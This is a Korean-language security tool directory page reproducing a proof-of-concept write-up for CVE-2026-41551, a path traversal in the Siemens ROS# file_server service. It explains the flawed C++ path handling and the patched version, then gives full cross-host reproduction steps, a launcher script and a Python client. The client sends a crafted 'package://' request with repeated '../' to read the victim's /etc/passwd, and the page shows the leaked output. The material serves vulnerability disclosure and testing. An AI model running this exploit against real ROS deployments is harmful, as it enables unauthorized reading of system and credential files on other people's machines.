Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-41551 — # CVE-2026-41551 개념 증명 익스플로잇 Siemens ROS# file_server의 경로 탐색 취약점으로, 조작된 package:// 요청을 통해 원격 파일 읽기를 시연합니다. | Kitploit
도구/GitHubGitHub/selecthch/cve-2026-41551
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubselecthch/cve-2026-41551

CVE-2026-41551

# CVE-2026-41551 개념 증명 익스플로잇 Siemens ROS# file_server의 경로 탐색 취약점으로, 조작된 package:// 요청을 통해 원격 파일 읽기를 시연합니다.

저장소 보기
1522일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-41551 재현

취약점: Siemens ROS# file_server / file_server2 서비스 상대 경로 탐색 CVSS v3.1: 9.1 (AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:N) 영향 버전: ros-sharp 모든 < V2.2.2; 수정 버전: V2.2.2 (validate_path 추가) 결론: 이 취약점은 호스트 간 악용 가능하며, 로컬에서만 재현되는 것이 아닙니다. 다음은 「공격자 153 → 피해자 152」의 원격 재현 절차입니다.


0. 취약점 원리 (ros-sharp 2.2.1, file_server.cpp)

get_file_callback은 요청 경로를 패키지 공유 디렉터리에 직접 연결하며, 탐색 검증을 수행하지 않습니다:

root@kitploit:~
std::string address   = request->name.substr(10);          // "package://" 제거
std::string package   = address.substr(0, address.find("/"));
std::string filepath  = address.substr(package.length());
std::string directory = ament_index_cpp::get_package_share_directory(package);
directory += filepath;                                    // 사용자 제어 가능, "../" 포함
std::ifstream inputfile(directory.c_str(), std::ios::binary);  // 탐색하여 임의 파일 읽기

PoC 요청 package://file_server2/<../×12>etc/passwd는 패키지 share 디렉터리에서 루트로 빠져나간 후 피해자 로컬 파일을 읽습니다.

수정 코드 (ros-sharp 2.2.2)

validate_path 추가: 먼저 경로 탐색 검사를 수행하고, 확장자 화이트리스트를 확인한 후, 마지막으로 std::filesystem::canonical로 패키지 디렉터리를 벗어나지 않았는지 확인합니다. save_file은 기본적으로 비활성화됩니다.

root@kitploit:~
bool has_traversal(const std::string& path) {           // ".." 및 "." 금지
  for (const auto& part : std::filesystem::path(path))
    if (part == ".." || part == ".") return true;
  return false;
}
bool is_path_safe(const std::string& base_dir, const std::string& full_path) {
  auto base   = std::filesystem::canonical(base_dir);
  auto target = std::filesystem::weakly_canonical(full_path);
  auto [end, _] = std::mismatch(base.begin(), base.end(), target.begin());
  return end == base.end();                            // 반드시 패키지 디렉터리 내에 있어야 함
}
bool validate_path(...) {
  if (has_traversal(filepath))   { warn("Path traversal attempt blocked"); return false; }

1. 환경 정보

역할

네트워크 토폴로지 (동일 ROS_DOMAIN_ID, DDS 크로스 호스트 발견):

root@kitploit:~
공격자 192.168.171.153                         피해자 192.168.171.152
+---------------------------+                +---------------------------+
| ros2_humble + client      |  (1) get_file  | file_server 노드          |
| python3 poc.py            | -------------> | /file_server/get_file     |
|                           |                | 로컬 /etc/passwd 읽기      |
|                           | <-------------  | (2) 파일 내용 2930 bytes 반환 |
+---------------------------+                +---------------------------+
             ROS2 DDS (UDP 7400-7500 / 멀티캐스트 239.255.0.x), ROS_DOMAIN_ID=0

2. 사전 조건 (재부팅 후 기본 충족)

  • 두 호스트 모두 ROS2 Humble (/opt/ros/humble) 및 colcon 설치 필요.
  • 취약점 소스 패키지가 ~/ros2_ws/src/file_server2에 위치 (ros-sharp 2.2.1, 총 13개 파일).
  • 중요: 피해자 노드 시작 시 ROS_LOCALHOST_ONLY=1을 설정하지 마세요. 설정하면 루프백만 접근 가능하여 원격 재현이 불가능합니다.

3. 재현 절차

3.1 피해자 측 (192.168.171.152): 컴파일 및 노드 시작, 네트워크 리슨

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# 취약점 패키지 컴파일 (이미 컴파일된 경우 생략 가능, 재컴파일 무해)
colcon build --packages-select file_server2

# 노드 시작 (재시작 안전: 먼저 기존 프로세스 정리 후 시작)
# ~/start_fs.sh 내용은 부록 A 참조
bash ~/start_fs.sh
sleep 2

ros2 node list            # 로컬 /file_server 확인

3.2 공격자 측 (192.168.171.153): client 패키지 컴파일하여 srv 타입 확보

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# 클라이언트가 GetBinaryFile 타입을 가져오려면 file_server2 패키지도 필요
colcon build --packages-select file_server2

3.3 공격자 측: 크로스 호스트로 피해자 서비스 발견

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
sleep 2

ros2 node list                 # 크로스 호스트 /file_server 발견 (152에 위치)
ros2 service list | grep file_server
# 확인: /file_server/get_file

3.4 공격자 측: PoC 실행하여 피해자 /etc/passwd 원격 읽기

root@kitploit:~
python3 ~/poc.py

4. 재현 결과

root@kitploit:~
[*] Requesting: package://file_server2/../../../../../../../../../../../../etc/passwd
[*] Returned 2930 bytes
----- /etc/passwd (begin) -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
----- end -----

공격자는 153에서 【피해자 152 로컬】의 /etc/passwd를 성공적으로 읽었습니다.


부록 A: ~/start_fs.sh

root@kitploit:~
#!/bin/bash
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# 프로세스 이름이 커널에 의해 file_server2_no로 잘리므로, 명령줄 기준으로 기존 인스턴스 정리
MYSELF=$$
for p in $(ps -eo pid,args | grep "file_server2_node" | grep -v grep | awk '{print $1}'); do
  [ "$p" != "$MYSELF" ] && kill -9 "$p" 2>/dev/null
done
sleep 1
# 중요: ROS_LOCALHOST_ONLY를 설정하지 마세요. 설정하면 루프백만 접근 가능
setsid bash -c "ros2 run file_server2 file_server2_node > ~/file_server.log 2>&1" >/dev/null 2>&1 </dev/null &
disown
sleep 2
echo "node started: $(pgrep -af file_server2_node | head -1)"

부록 B: ~/poc.py

root@kitploit:~
import rclpy
from rclpy.node import Node
from file_server2.srv import GetBinaryFile

class Client(Node):
    def __init__(self):
        super().__init__('poc_client')
        self.cli = self.create_client(GetBinaryFile, '/file_server/get_file')
        while not self.cli.wait_for_service(timeout_sec=5.0):
            self.get_logger().info('waiting for service...')

    def call(self, name):
        req = GetBinaryFile.Request()
        req.name = name
        fut = self.cli.call_async(req)
        rclpy.spin_until_future_complete(self, fut)
        return fut.result()

def main():
    rclpy.init()
    c = Client()
    # "../" 12개로 패키지 share 디렉터리에서 루트로 빠져나간 후 etc/passwd 접근
    target = "package://file_server2/" + ("../" * 12) + "etc/passwd"
    print(f"[*] Requesting: {target}")
    res = c.call(target)
    data = bytes(res.value) if res is not None else b''
    print(f"[*] Returned {len(data)} bytes")
    print("----- /etc/passwd (begin) -----")
    print(data[:400].decode(errors='replace'))
    print("----- end -----")
    c.destroy_node()
    rclpy.shutdown()

if __name__ == '__main__':
    main()

참고 자료

  • Siemens Security Advisory SSA-357982 (ROS# file_server 디렉터리 탐색)
  • NVD CVE-2026-41551
  • ros-sharp GitHub Releases: V2.2.1 (영향) / V2.2.2 (수정)
  • CWE-23: Relative Path Traversal; ROS 2 문서: ROS_DOMAIN_ID / ROS_LOCALHOST_ONLY / DDS 발견
도구 다운로드
호스트 IP
시스템
ROS
설명
피해자192.168.171.152Ubuntu 22.04Humblefile_server 노드 실행, 읽힐 파일은 로컬에 위치
공격자192.168.171.153Ubuntu 22.04Humble동일 네트워크, 피해자 서비스에 PoC 호출